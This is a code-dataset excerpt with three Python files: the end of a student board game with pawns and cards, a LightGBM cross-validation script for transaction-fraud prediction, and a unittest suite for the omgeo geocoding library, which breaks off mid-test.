self._back.moveTo((500, 200))\n self._card.moveTo((500, 200))\n \n def flip(self):\n \"\"\"Flips the card over\"\"\"\n if self._back.getDepth() < self._card.getDepth():\n self._back.setDepth(self._back.getDepth() + 1)\n self._card.setDepth(self._card.getDepth() - 1)\n else: \n self._back.setDepth(self._back.getDepth() - 1)\n self._card.setDepth(self._card.getDepth() + 1)\n \n def move(self, dx, dy):\n \"\"\"Moves a card by dx and dy\"\"\"\n self._card.move(dx, dy)\n self._back.move(dx, dy)\n \n def setDepth(self, depth):\n \"\"\"Sets the depth of the card to depth\"\"\"\n if self._card.getDepth() < self._back.getDepth():\n self._card.setDepth(depth) \n self._back.setDepth(depth + 1)\n else:\n self._card.setDepth(depth + 1)\n self._back.setDepth(depth)\n\nclass Pawn(EventHandler):\n \"\"\"Class for creating pawns\"\"\"\n def __init__(self, board, center, color, ident, controller, index):\n \"\"\"Creates a pawn\"\"\"\n EventHandler.__init__(self)\n self._board = board\n self._ident = ident\n self._center = center\n self._color = color\n self._controller = controller\n self._index = index\n self._pawn = Circle(8, center)\n self._pawn.setFillColor(self._color)\n self._pawn.addHandler(self)\n self._active = False\n self._started = False \n \n def isPawnStarted(self):\n \"\"\"Returns true if the pawn is started\"\"\"\n self._started = True \n \n def pawnStart(self):\n \"\"\"Returns true or false\"\"\"\n return self._started\n \n def pawnActivate(self):\n \"\"\"Activates the pawn, seen by changing the pawns border color to\n gold\"\"\"\n self._active = True\n self._pawn.setBorderColor('gold')\n \n def pawnDeactivate(self):\n \"\"\"Deactivates the pawn and changes the border color back to black\"\"\"\n self._active = False \n self._pawn.setBorderColor('black')\n \n def isActive(self):\n \"\"\"Returns true or false\"\"\"\n return self._active \n \n def addTo(self, win):\n \"\"\"Adds the pawn to the window\"\"\"\n win.add(self._pawn)\n \n def getColor(self):\n \"\"\"Returns the color of the pawn\"\"\"\n return self._color \n \n def getCenter(self):\n \"\"\"Returns the center of the pawn\"\"\"\n return self._center\n \n def getIndex(self):\n \"\"\"Returns the index of the pawn\"\"\"\n return self._index\n \n def setIndex(self, value):\n \"\"\"Sets the index of the pawn to a value\"\"\"\n self._index = value \n \n def moveTo(self, location):\n \"\"\"Moves the pawn to a location\"\"\"\n self._pawn.moveTo(location)\n \n def handleMouseRelease(self, event):\n \"\"\"Handles mouse release that will show where the pawn can move once it\n is clicked by highlighting the board space(s) it can move to\"\"\"\n if not self._active:\n return\n if self._active:\n self._controller.highlightSpots(self)\n\nclass Controller(EventHandler):\n \"\"\"Creates a class that acts as an event handler\"\"\"\n def __init__(self, win):\n \"\"\"Creates an event handler and calls methods from the previous \n classes\"\"\"\n EventHandler.__init__(self)\n self._win = win\n self._board = Board(win, self)\n self._deck = self._board.getDeck()\n self._deck.shuffle()\n for _ in range(self._deck.getDeckLength()):\n self._deck.deal().getBack().addHandler(self)\n self._deck.reset()\n self._current = 0\n self._players = []\n self._newSpace = None\n self._dealtCard = None\n \n #create the pawns and add them to a list \n self._pawns = []\n pawnColors = ['yellow', 'yellow', 'yellow', 'yellow', 'green', 'green', \n 'green', 'green', 'red', 'red', 'red', 'red', 'blue', \n 'blue', 'blue', 'blue']\n startingCenters = [(100, 45), (100, 65), (122.5, 45), (122.5, 65), \n (335, 102.5), (335, 122.5), (355, 102.5), \n (355, 122.5), (282.5, 330), (282.5, 350), \n (302.5, 330), (302.5, 350), (45, 277.5), \n (45, 297.5), (65, 277.5), (65, 297.5)]\n for i in range(len(startingCenters)):\n center = startingCenters[i]\n ident = i\n color = pawnColors[i]\n #the starting index of the pawn is set to 85, 86, 87, or 88 because\n #those are the indices of the start circles where the pawns are \n #placed at the beginning of the game\n self._pawn = Pawn(self._board, center, color, ident, self, \n (i // 4) + 85)\n self._pawn.addTo(win)\n self._pawns.append(self._pawn)\n self._currentPawn = self._pawn\n \n #assigns the created pawns to the four players \n self._player0 = []\n self._player1 = []\n self._player2 = []\n self._player3 = []\n self._current = 0\n \n for i in range(len(self._pawns)):\n if self._pawns[i].getColor() == 'yellow':\n self._player0.append(self._pawns[i])\n if self._pawns[i].getColor() == 'green':\n self._player1.append(self._pawns[i])\n if self._pawns[i].getColor() == 'red':\n self._player2.append(self._pawns[i])\n if self._pawns[i].getColor() == 'blue':\n self._player3.append(self._pawns[i])\n self._players = [self._player0, self._player1, self._player2, \n self._player3]\n #sets the first player's pawns\n self._currentPlayer = self._players[self._current]\n \n #activates the pawns of the first player\n for i in range(len(self._currentPlayer)):\n self._currentPlayer[i].pawnActivate()\n \n #creates the text that will appear on the window showing the color of\n #the pawns that are currently active\n self._text = Text(' ', (200, 200), 20)\n self._win.add(self._text)\n self._text.setText(\"YELLOW'S TURN\")\n \n def changeTurn(self):\n \"\"\"Changes the turn\"\"\"\n #deactivates the current player's pawns\n for i in range(len(self._currentPlayer)):\n self._currentPlayer[i].pawnDeactivate()\n \n #changes the current player\n self._current = (self._current + 1) % 4 \n self._currentPlayer = self._players[self._current]\n \n #activates the current player's pawns\n for j in range(len(self._currentPlayer)):\n self._currentPlayer[j].pawnActivate()\n \n #the text is changed as the turn is changed\n if self._current == 0:\n self._text.setText(\"YELLOW'S TURN\")\n elif self._current == 1:\n self._text.setText(\"GREEN'S TURN\")\n elif self._current == 2:\n self._text.setText(\"RED'S TURN\")\n else: \n self._text.setText(\"BLUE'S TURN\")\n \n def movePawn(self, boardSpace):\n \"\"\"Moves the pawn graphical object \"\"\"\n self._currentPawn.setIndex(boardSpace.getIndex())\n self._currentPawn.moveTo(boardSpace.getCenter())\n \n def highlightSpots(self, pawn): \n \"\"\"Highlights the spots (by changing the border color to gold) the pawn\n can move to based on the dealt card\"\"\"\n self._currentPawn = pawn\n \n #only allows the pawns to leave start if a 1 or 2 card is drawn\n if self._currentPawn.getIndex() in [85, 86, 87, 88]:\n if self._dealtCard.getName() in [1, 2]:\n firstSpace = int(((self._currentPawn.getIndex() - 85) * 15) + 4)\n self._newSpace = ((firstSpace + self._dealtCard.getName() - 1) \n % 60)\n self._currentPawn.setIndex(self._newSpace)\n self._board.getTotalLst()[self._newSpace].setBorderColor('gold')\n self._board.getTotalLst()[self._newSpace].boardSpaceActivate()\n pawn.isPawnStarted()\n else:\n return\n \n #pawns can move once they have left start \n #The new spaces are % 60 because that allows the pawn to keep moving \n #around the board\n elif pawn.pawnStart():\n firstSpace = self._currentPawn.getIndex()\n if self._dealtCard.getName() in [1, 2, 3, 5, 8, 11, 12]:\n self._newSpace = ((firstSpace + self._dealtCard.getName())\n % 60)\n elif self._dealtCard.getName() == 4:\n self._newSpace = ((firstSpace - self._dealtCard.getName())\n % 60)\n elif self._dealtCard.getName() == 7:\n self._newSpace = ((firstSpace + self._dealtCard.getName())\n % 60)\n elif self._dealtCard.getName() == 10:\n self._newSpace = ((firstSpace + self._dealtCard.getName()) \n % 60)\n secondNewSpace = (firstSpace - 1) % 60\n self._board.getTotalLst()[secondNewSpace].setBorderColor('gold')\n self._board.getTotalLst()[secondNewSpace].boardSpaceActivate()\n else:\n return\n self._board.getTotalLst()[self._newSpace].setBorderColor('gold')\n self._board.getTotalLst()[self._newSpace].boardSpaceActivate()\n else:\n return \n \n def unHighlightSpots(self):\n \"\"\"Unhighlights the spots by changing the border color back to black\"\"\"\n self._board.getTotalLst()[self._newSpace].setBorderColor('black')\n self._board.getTotalLst()[self._newSpace].boardSpaceDeactivate()\n \n def handleMouseRelease(self, event):\n \"\"\"Deals the cards and places them face down on the table then flips the\n card over and moves it to the discard pile. Does this until the deck is\n empty and then repeats. \"\"\"\n if self._deck.getDeckLength() != 0:\n gameCard = self._deck.deal()\n self._dealtCard = gameCard\n gameCard.flip()\n gameCard.move(200, 0)\n gameCard.setDepth(1)\n \n if self._deck.getDeckLength() == 0:\n self._deck.reset()\n for card in self._deck.getCards():\n card.flip()\n card.move(-200, 0)\n\n self.changeTurn() \n \nclass EndGame(EventHandler):\n \"\"\"Class that will end the game\"\"\"\n def __init__(self, win, radius, center, color):\n \"\"\"Creates the text and button\"\"\"\n EventHandler.__init__(self)\n self._win = win\n self._radius = radius\n self._center = center\n self._color = color\n self._circle = Circle(radius, center)\n self._circle.setFillColor(color)\n self._circle.addHandler(self)\n self._text = Text(' ', (600, 75), 20)\n \n def addTo(self, win):\n \"\"\"Adds the button to the window\"\"\"\n win.add(self._circle)\n \n def handleMousePress(self, event):\n \"\"\"When the button is clicked Game over appears\"\"\"\n self._text.setText('Game Over')\n self._win.add(self._text)\n \ndef main(win):\n \"\"\"Function to run the program\"\"\"\n win.setHeight(400)\n win.setWidth(800)\n _ = Controller(win)\nStartGraphicsSystem(main)\n \n","sub_path":"Games-2017/34/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":23205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"585174501","text":"import os\nos.chdir('../py/')\nimport sys\nimport gc\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport pandas as pd\nimport numpy as np\n\nimport feather\n\n\nimport lightgbm as lgb\nfrom sklearn.preprocessing import LabelEncoder\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport custom_lgb\nimport utils\nfrom EDA import *\n\nutils.start(__file__)\n# =============================================================================\n# set fixed values\n# =============================================================================\nNLOOP = 300 # 100000\nNFOLD = 5\nSEED = 42\nETA = 0.01\n\n# =============================================================================\n# load data\n# =============================================================================\nDIR = '../input/feather/'\ntrain = feather.read_dataframe(DIR + 'train.ftr')\ntest = feather.read_dataframe(DIR + 'test.ftr')\n\ntrain.sort_values('TransactionDT', inplace=True)\n\n# =============================================================================\n# preprocess\n# =============================================================================\ncategorical_feature = ['id_12', 'id_13', 'id_14', 'id_15', 'id_16', 'id_17', 'id_18', 'id_19', 'id_20', 'id_21', 'id_22', 'id_23', 'id_24', 'id_25', 'id_26', 'id_27', 'id_28', 'id_29',\n 'id_30', 'id_31', 'id_32', 'id_33', 'id_34', 'id_35', 'id_36', 'id_37', 'id_38', 'DeviceType', 'DeviceInfo', 'ProductCD', 'card4', 'card6', 'M4','P_emaildomain',\n 'R_emaildomain', 'card1', 'card2', 'card3', 'card5', 'addr1', 'addr2', 'M1', 'M2', 'M3', 'M5', 'M6', 'M7', 'M8', 'M9']\nnumeric_feature = [col for col in test.columns if col not in categorical_feature + ['TransactionID']]\n\nfor c in categorical_feature:\n if c in train.columns:\n le = LabelEncoder()\n le.fit(list(train[c].astype(str).values) + list(test[c].astype(str).values))\n train[c] = le.transform(list(train[c].astype(str).values))\n test[c] = le.transform(list(test[c].astype(str).values))\n\ncolumns = [col for col in test.columns if col not in 'TransactionID']\nX_train = train[columns]\ny_train = train['isFraud']\n\ndel train\ngc.collect()\n\n# =============================================================================\n# params\n# =============================================================================\n\nparams = {\n 'boosting_type': 'gbdt',\n 'objective': 'binary',\n 'max_depth': -1,\n 'num_leaves': 5,\n# 'min_data_in_leaf': 80,\n# 'min_sum_hessian_in_leaf': 10,\n# 'bagging_fraction': 0.75,\n# 'bagging_freq': 5,\n# 'bagging_seed': SEED,\n# 'feature_fraction': 0.2,\n# 'metric': 'mape',\n 'metric': 'auc',\n# 'n_estimators': NROUND,\n# 'early_stopping_round': 3000,\n 'verbosity': -1,\n# 'max_bin': 200,\n# 'learning_rate': ETA\n}\n\n\n# =============================================================================\n# cv\n# =============================================================================\n\nextraction_cb = custom_lgb.ModelExtractionCallback()\ncallbacks = [\n extraction_cb,\n]\n\ndtrain = lgb.Dataset(X_train, y_train.values, free_raw_data=False, categorical_feature=categorical_feature)\n\nret = lgb.cv(\n params=params,\n train_set=dtrain,\n num_boost_round=300,\n nfold=NFOLD,\n stratified=True,\n shuffle=True,\n early_stopping_rounds=30,\n verbose_eval=50,\n seed=SEED,\n callbacks=callbacks\n)\n\n# =============================================================================\n# prediction and plot\n# =============================================================================\n\nboosters = extraction_cb.raw_boosters\nbest_iteration = extraction_cb.best_iteration\n\nimportances = pd.DataFrame()\ntest_preds = np.zeros(len(test))\n\nfor i, booster in enumerate(boosters):\n # prediction\n test_preds += booster.predict(test, num_iteration=best_iteration) / NFOLD\n\n # get importance\n imp_df = pd.DataFrame(\n {'feature': X_train.columns,\n 'gain': booster.feature_importance(),\n 'Fold': i+1}\n )\n imp_df = imp_df.head(100)\n importances = pd.concat([importances, imp_df], axis=0)\n\n\n# =============================================================================\n# Save imp\n# =============================================================================\nimportances.to_csv(f'LOG/imp/csv/imp_{__file__}.csv', index=False)\n\nplt.figure(figsize=(16, int(len(imp_df) / 3)))\nsns.barplot(x='gain', y='feature', data=importances.sort_values('gain', ascending=False))\nplt.savefig(f'LOG/imp/PNG/imp_{__file__}.png')\n\nutils.end(__file__)","sub_path":"py/801_cv.py","file_name":"801_cv.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"645667406","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport sys\nimport unittest\nfrom omgeo import Geocoder\nfrom omgeo.places import Viewbox, PlaceQuery, Candidate\nfrom omgeo.processors.preprocessors import CountryPreProcessor, RequireCountry, ParseSingleLine,\\\n ReplaceRangeWithNumber\nfrom omgeo.processors.postprocessors import AttrFilter, AttrExclude, AttrRename,\\\n AttrSorter, AttrReverseSorter, UseHighScoreIfAtLeast,\\\n GroupBy, GroupByMultiple, ScoreSorter, SnapPoints\n\n# Required to run the tests for BING\nBING_MAPS_API_KEY = os.getenv(\"BING_MAPS_API_KEY\")\nESRI_MAPS_API_KEY = os.getenv(\"ESRI_MAPS_API_KEY\")\n\nlogger = logging.getLogger(__name__)\n\nclass OmgeoTestCase(unittest.TestCase):\n def assertEqual_(self, output, expected):\n \"\"\"assertEqual with built-in error message\"\"\"\n self.assertEqual(output, expected, 'Expected \"%s\". Got \"%s\".' % (expected, output))\n\n def assertEqualCI_(self, output, expected, strip_commas=False):\n \"\"\"Case-insensitive assertEqual with built-in error message\"\"\"\n self.assertEqual_(str(output).upper(), str(expected).upper())\n\nclass GeocoderTest(OmgeoTestCase):\n g = None # not set until set up\n BING_KEY_REQUIRED_MSG = 'Enter a Bing Maps API key to run the bing tests'\n \n def setUp(self):\n # Viewbox objects\n vb = {}\n vb['callowhill'] = Viewbox(-75.162628, 39.962769, -75.150963, 39.956322)\n # PlaceQuery objects\n self.pq = {}\n # North American Addresses:\n self.pq['azavea'] = PlaceQuery('340 N 12th St Ste 402 Philadelphia PA')\n self.pq['ambiguous_azavea'] = PlaceQuery('340 12th St Ste 402 Philadelphia PA')\n self.pq['wolf'] = PlaceQuery('Wolf Building')\n self.pq['wolf_philly'] = PlaceQuery('Wolf Building, Philadelphia PA')\n self.pq['wolf_bounded'] = PlaceQuery('Wolf Building', viewbox=vb['callowhill'])\n self.pq['alpha_774R_W_Central_Ave'] = PlaceQuery('774R W Central Ave Alpha NJ')\n self.pq['alpha_774_W_Central_Ave_Rear'] = PlaceQuery('774 W Central Ave Rear Alpha NJ')\n self.pq['8_kirkbride'] = PlaceQuery('8 Kirkbride Rd 08822')\n self.pq['george_washington'] = PlaceQuery('201 W Montmorency Blvd, George, Washington')\n self.pq['pine_needles_dr'] = PlaceQuery('11761 pine needles providence forge')\n self.pq['pine_needles_ct'] = PlaceQuery('5328 pine needles providence forge')\n self.pq['pine_needles_terr'] = PlaceQuery('5359 pine needles providence forge')\n self.pq['moorestown_hyphenated'] = PlaceQuery('111-113 W Main St Moorestown NJ')\n self.pq['willow_street'] = PlaceQuery('2819F Willow Street Pike Willow Street PA')\n self.pq['quebec'] = PlaceQuery('756 Rue Berri Montreal QC', country='CA')\n self.pq['quebec_accent'] = PlaceQuery('527 Ch. Beauséjour, Saint-Elzéar-de-Témiscouata QC')\n self.pq['quebec_hyphenated'] = PlaceQuery('227-227A Rue Commerciale, Saint-Louis-du-Ha! Ha! QC')\n # European Addresses:\n self.pq['london_pieces'] = PlaceQuery(address='31 Maiden Lane', city='London', country='UK')\n self.pq['london_one_line'] = PlaceQuery('31 Maiden Lane, London WC2E', country='UK')\n self.pq['london_pieces_hyphenated'] = PlaceQuery(address='31-32 Maiden Lane', city='London', country='UK')\n self.pq['london_one_line_hyphenated'] = PlaceQuery('31-32 Maiden Lane London WC2E', country='UK')\n # Oceanian Addresses:\n self.pq['karori'] = PlaceQuery('102 Karori Road Karori Wellington', country='NZ')\n\n # Set up geocoders\n if ESRI_MAPS_API_KEY is None:\n esri_settings = {}\n else:\n esri_settings = dict(api_key=ESRI_MAPS_API_KEY)\n self.service_esri_na = ['omgeo.services.EsriNA', dict(settings=esri_settings)]\n self.service_esri_eu = ['omgeo.services.EsriEU', dict(settings=esri_settings)]\n g_sources = [self.service_esri_na, self.service_esri_eu]\n self.g_esri_na = Geocoder([self.service_esri_na])\n self.g_esri_eu = Geocoder([self.service_esri_eu])\n if BING_MAPS_API_KEY is not None:\n bing_settings = dict(api_key=BING_MAPS_API_KEY)\n self.service_bing = ['omgeo.services.Bing', dict(settings=bing_settings)]\n g_sources.append(self.service_bing)\n self.g_bing = Geocoder([self.service_bing])\n self.service_nom = ['omgeo.services.Nominatim', {}]\n g_sources.append(self.service_nom)\n self.g_nom = Geocoder([self.service_nom])\n self.g = Geocoder(sources=g_sources) # main geocoder used for tests\n # other geocoders for services not used in self.g\n self.g_dc = Geocoder([['omgeo.services.CitizenAtlas', {}]])\n self.g_esri_na_soap = Geocoder([['omgeo.services.EsriNASoap', {}]])\n self.g_esri_eu_soap = Geocoder([['omgeo.services.EsriEUSoap', {}]])\n \n def tearDown(self):\n pass\n\n def test_geocode_azavea(self):\n candidates = self.g.geocode(self.pq['azavea'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n self.assertEqual(len(candidates) > 1, False, 'More than one candidate returned.')\n \n def test_geocode_snap_points_1(self):\n candidates = self.g.geocode(self.pq['8_kirkbride'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n self.assertEqual(len(candidates) > 1, False, 'More than one candidate returned.')\n \n @unittest.skipIf(BING_MAPS_API_KEY is None, BING_KEY_REQUIRED_MSG)\n def test_geocode_snap_points_2(self):\n candidates = self.g.geocode(self.pq['alpha_774_W_Central_Ave_Rear'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n self.assertEqual(len(candidates) > 1, False, 'More than one candidate returned.')\n\n def test_geocode_esri_na_us_soap(self):\n candidates = self.g_esri_na_soap.geocode(PlaceQuery('340 N 12th St., Philadelphia, PA, US'))\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n\n def test_geocode_esri_na_us(self):\n candidates = self.g_esri_na.geocode(self.pq['alpha_774_W_Central_Ave_Rear'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n\n def test_geocode_esri_eu_soap(self):\n candidates = self.g_esri_eu_soap.geocode(PlaceQuery(\n address='31 Maiden Lane', city='London', country='UK'))\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n\n def test_geocode_esri_na_nz(self):\n candidates = self.g_esri_na.geocode(self.pq['karori'])\n self.assertEqual(len(candidates) > 0, False,\n 'Found New Zealand address when this should only'\n 'be using the North American ESRI geocoder.')\n\n @unittest.skipIf(BING_MAPS_API_KEY is None, BING_KEY_REQUIRED_MSG)\n def test_geocode_bing(self):\n candidates = self.g_bing.geocode(self.pq['azavea'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n \n def test_geocode_nom(self):\n candidates = self.g_nom.geocode(PlaceQuery('1200 Callowhill St, Philadelphia, PA, 19123'))\n x_type = type(candidates[0].x)\n y_type = type(candidates[0].y)\n self.assertEqual(x_type == float, True, 'x coord is of type %s instead of float' % x_type)\n self.assertEqual(y_type == float, True, 'y coord is of type %s instead of float' % y_type)\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n \n def test_geocode_dc_address(self):\n candidates = self.g_dc.geocode(PlaceQuery('1600 pennsylvania'))\n self.assertTrue(len(candidates) > 0, 'No candidates returned.')\n self.assertTrue(candidates[0].locator == 'DC Address',\n 'Expected 1600 pennsylvania to be an address match')\n\n def test_geocode_dc_intersection(self):\n candidates = self.g_dc.geocode(PlaceQuery('h and 15th'))\n self.assertTrue(len(candidates) > 0, 'No candidates returned.')\n self.assertTrue(candidates[0].locator == 'DC Intersection',\n 'h and 15th to be an intersection match')\n\n def test_geocode_dupepicker(self):\n candidates = self.g.geocode(self.pq['ambiguous_azavea'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n \n @unittest.skipIf(BING_MAPS_API_KEY is None, BING_KEY_REQUIRED_MSG)\n def test_geocode_karori(self):\n def bldg_no_and_postal_in_addr(c):\n return ('102' in c.match_addr and '6012' in c.match_addr)\n candidates = self.g.geocode(self.pq['karori'])\n self.assertEqual(len(candidates) > 0, True, 'No candidates returned.')\n self.assertEqual(any([bldg_no_and_postal_in_addr(c) for c in candidates]), True,\n 'Could not find bldg. no. \"102\" and postcode \"6012\" in any address.')\n\n def _test_geocode_results_all_(self, verbosity=0, geocoder=Geocoder(),\n expected_results=16):\n \"\"\"\n Geocode a list of addresses. Some of these only work with Bing so \n fewer results are expected when Bing is not used as a geocoder\n \"\"\"\n if verbosity > 1: \n logger.setLevel(logging.INFO)\n\n queries_with_results = 0\n for place in self.pq:\n logger.info(place)\n logger.info(len(place) * '-')\n candidates = geocoder.geocode(self.pq[place])\n if len(candidates) == 0:\n logger.info('Input: %s\\n(no results)' % self.pq[place].query)\n else:\n queries_with_results += 1\n logger.info('Input: %s' % self.pq[place].query)\n logger.info(map(lambda c: 'Output: %r (%s %s)\\n' %\n (c.match_addr, \n c.geoservice, \n [c.locator, c.score, c.confidence, c.entity]),\n candidates))\n self.assertEqual(expected_results, queries_with_results,\n 'Got results for %d of %d queries.' % (queries_with_results, len(self.pq)))\n\n def _test_geocode_results_all(self):\n if BING_MAPS_API_KEY is None:\n expected_results=16\n else:\n self.g.add_source(['omgeo.services.Bing',\n {'settings':{'api_key':BING_MAPS_API_KEY}}])\n expected_results=len(self.pq)\n self._test_geocode_results_all_(geocoder=self.g, expected_results=len(self.pq))\n\n def test_esri_geocoder_na_default_override(self):\n # Bug in 3.1 - the EsriNA and EsriEU append processors rather than\n # replace\n geocoder = Geocoder([['omgeo.services.EsriNA',\n {'postprocessors': [AttrFilter([\n 'rooftop',\n 'interpolation',\n 'postal_specific'],\n 'locator')]}]])\n\n self.assertEqual(1, len(geocoder._sources[0]._postprocessors),\n 'EsriNA geocoder incorrectly processed defaults')\n self.assertEqual('AttrFilter',\n geocoder._sources[0]._postprocessors[0].__class__.__name__,\n 'EsriNA geocoder incorrectly processed defaults')\n\n def test_esri_geocoder_eu_default_override(self):\n # Bug in 3.1 - the EsriNA and EsriEU append processors rather than\n # replace\n geocoder = Geocoder([['omgeo.services.EsriEU',\n {'postprocessors': [AttrFilter([\n 'rooftop',\n 'interpolation',\n 'postal_specific'],\n 'locator')]}]])\n\n self.assertEqual(1, len(geocoder._sources[0]._postprocessors),\n 'EsriEU geocoder incorrectly processed defaults')\n self.assertEqual('AttrFilter',\n geocoder._sources[0]._postprocessors[0].__class__.__name__,\n 'EsriEU geocoder incorrectly processed defaults')\n\nclass GeocoderProcessorTest(OmgeoTestCase):\n def setUp(self):\n # places\n self.pq_us = PlaceQuery('1200 Callowhill St, Philadelphia, PA 19107')\n self.pq_uk = PlaceQuery('32 Bond Road, Ste A, Surbiton, Surrey KT6')\n self.pq_uk_with_country_UK = PlaceQuery('32 Bond Road, Ste A, Surbiton, Surrey KT6', country='UK')\n self.pq_uk_with_country_GB = PlaceQuery('32 Bond Road, Ste A, Surbiton, Surrey KT6', country='GB')\n\n # candidates\n self.good = Candidate(match_addr='123 Any St', locator='address', score=85.3)\n self.better = Candidate(match_addr='123 Any St', locator='parcel', score=92)\n self.best = Candidate(match_addr='123 Any St', locator='rooftop', score=100)\n self.wolf_good = Candidate(match_addr='1200 Callowhill St', locator='address', score=76)\n self.wolf_better = Candidate(match_addr='1200 Callowhill St', locator='parcel', score=90)\n self.wolf_best = Candidate(match_addr='1200 Callowhill St', locator='rooftop',\n score=99.9, x=-75.158, y=39.959)\n self.wolf_340 = Candidate(match_addr='340 N 12th St', locator='rooftop',\n score=99.5, x=-75.158, y=39.959) # same coords\n self.inky = Candidate(match_addr='324 N Broad St', locator='rooftop',\n score=99.9, x=-75.163, y=39.959) # same y\n self.capt_thomas = Candidate(match_addr='843 Callowhill St', locator='rooftop',\n score=99.9, x=-75.163, y=39.959) # same y\n self.reading_term = Candidate(match_addr='1200 Arch St', locator='rooftop',\n score=99.9, x=-75.163, y=39.953) # same x\n\n self.locators_worse_to_better = ['address', 'parcel', 'rooftop']\n\n def tearDown(self):\n pass\n\n\n def test_pro_country_CountryPreProcessor(self):\n acceptable_countries = ['US', 'UK']\n country_map = {'GB':'UK'} # 'from':'to'\n place_in = self.pq_uk_with_country_GB\n place_out = CountryPreProcessor(acceptable_countries, country_map).process(place_in)\n country_exp = 'UK'\n self.assertEqual_(place_out.country, country_exp)\n\n def test_pro_country_RequireCountry(self):\n place_in = self.pq_us\n place_out = RequireCountry().process(place_in)\n place_exp = False\n self.assertEqual_(place_out, place_exp)\n\n def test_pro_filter_AttrFilter_exact(self):\n good_values = ['roof', 'parcel']\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.better] # just the one with the parcel locator\n candidates_out = AttrFilter(good_values, 'locator', exact_match=True).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_filter_AttrFilter_inexact(self):\n good_values = ['roof', 'parcel']\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.best, self.better] # roof is a substr of rooftop\n candidates_out = AttrFilter(good_values, 'locator', exact_match=False).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_filter_AttrExclude_exact(self):\n bad_values = ['address', 'parc']\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.best, self.better]\n # The candidate with the 'parcel' locator stays because 'parcel' is not in bad values\n # and the processor by default only looks for exact matches against bad_values.\n candidates_out = AttrExclude(bad_values, 'locator', exact_match=True).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_filter_AttrExclude_inexact(self):\n bad_values = ['address', 'parc']\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.best]\n # This can be confusing. There is only one because the match does NOT have to be exact, but\n # we are using this processor to EXCLUDE values, so an inexact match will result in fewer candidates\n candidates_out = AttrExclude(bad_values, 'locator', exact_match=False).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_postpro_GroupBy(self):\n candidates_in = [self.best, self.good, self.better, self.wolf_best, self.wolf_good]\n candidates_exp = [self.best, self.wolf_best]\n candidates_out = GroupBy('match_addr').process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n \n def test_postpro_GroupByMultiple(self):\n candidates_in = [self.wolf_best, self.wolf_340]\n candidates_exp = [self.wolf_best]\n candidates_out = GroupBy(('x', 'y')).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_parsing_ParseSingleLine(self):\n place_in = PlaceQuery('32 Bond Road, Surbiton, Surrey KT6 7SH')\n place_out = ParseSingleLine().process(place_in)\n self.assertEqual_(place_out.address, '32 Bond Road')\n self.assertEqual_(place_out.city, 'Surbiton, Surrey')\n self.assertEqual_(place_out.postal, 'KT6 7SH')\n\n def test_pro_rename_AttrRename_inexact(self):\n candidates_in = [self.best]\n locator_exp = 'el_techo'\n candidates_out = AttrRename('locator', {'oofto': 'el_techo'}).process(candidates_in)\n self.assertEqual_(candidates_out[0].locator, locator_exp)\n\n def test_pro_rename_AttrRename_exact(self):\n candidates_in = [self.best]\n locator_exp = 'el_techo'\n candidates_out = AttrRename('locator', {'rooftop': 'el_techo'}).process(candidates_in)\n self.assertEqual_(candidates_out[0].locator, locator_exp)\n\n def test_pro_scoring_UseHighScoreIfAtLeast(self):\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.best, self.better]\n candidates_out = UseHighScoreIfAtLeast(90).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_scoring_ScoreSorter(self):\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.best, self.better, self.good]\n candidates_out = ScoreSorter().process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_scoring_ScoreSorter_asc(self):\n candidates_in = [self.best, self.good, self.better]\n candidates_exp = [self.good, self.better, self.best]\n candidates_out = ScoreSorter(reverse=False).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_sort_AttrSorter(self):\n candidates_in = [self.better, self.best, self.good]\n candidates_exp = [self.good, self.better, self.best]\n candidates_out = AttrSorter(self.locators_worse_to_better).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_sort_AttrReverseSorter(self):\n candidates_in = [self.better, self.best, self.good]\n candidates_exp = [self.best, self.better, self.good] # reverse order of self.locators_worse_to_better\n candidates_out = AttrReverseSorter(self.locators_worse_to_better).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n\n def test_pro_streetnumber_ReplaceRangeWithNumber(self):\n place_in = PlaceQuery('4452-54 Main Street, Philadelphia') #Mom's Pizza in Manayunk\n place_out = ReplaceRangeWithNumber().process(place_in)\n query_exp = '4452 Main Street, Philadelphia'\n self.assertEqual_(place_out.query, query_exp)\n \n def test_pro_SnapPoints(self):\n \"\"\"This test should take two candidates within 50 metres and eliminate one.\"\"\"\n candidates_in = [Candidate(match_addr='340 N 12th St, Philadelphia, PA, 19107',\n x=-75.158433167, y=39.958727992),\n Candidate(match_addr='1200 Callowhill St, Philadelphia, 